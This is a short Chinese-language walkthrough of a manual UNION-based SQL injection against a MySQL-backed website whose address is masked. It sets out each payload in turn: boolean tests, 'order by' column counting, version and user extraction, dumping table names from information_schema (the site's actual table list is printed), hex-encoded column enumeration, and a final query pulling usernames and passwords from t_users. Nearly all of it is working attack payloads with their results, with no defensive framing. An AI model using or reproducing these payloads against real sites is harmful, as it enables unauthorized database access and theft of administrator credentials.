注入点:xxxxxxx
and1=1 返回正确 and1=2返回错误
说明存在注入点
+order+by+11 反悔正确
+order+by+12 返回错误
说明存在11个字段
+union+select+1,2,3,4,5,6,7,8,9,10,11 看清楚那里是-13 是让他报错用的 也可以用and 1=2 报错
User() 数据库用户名
Version() 数据库版本
Database() 当前使用的数据库名
+union+select+1,user(),3,4,Version(),6,7,8,9,10,11
5.0说明可以直接查表
+union+select+1,2,3,4,unhex(hex(GROUP_CONCAT(table_name))),6,7,8,9,10,11+from+information_schema.tables+where+table_schema=Database()
直接爆表
ad_play,banner,baozhi,baozhi_class,baozhidowns,cdowns,chengyuan,downs,fuwu,guanyu,guanzhu,jobs,language,link,liuyan,liuyan_class,member,news,news_class,province,renli,store,store_class,store_class2,store_class3,t_china_class,t_china_store,t_lianxi,t_sts,t_users,t_world_class,t_world_store,video,wangluo,word,works,yingyong,yingyong_class,zazhi,zazhi_class,zazhidowns
有一个t_users 应该是存放管理员的
先把t_users转换为hex
爆列:+union+select+1,2,3,4,unhex(hex(GROUP_CONCAT(column_name))),6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x745F7573657273
然后就就是查询了
+union+select+1,2,3,4,concat(0x3a,t_name,0x3a,t_pass),6,7,8,9,10,11+from+t_users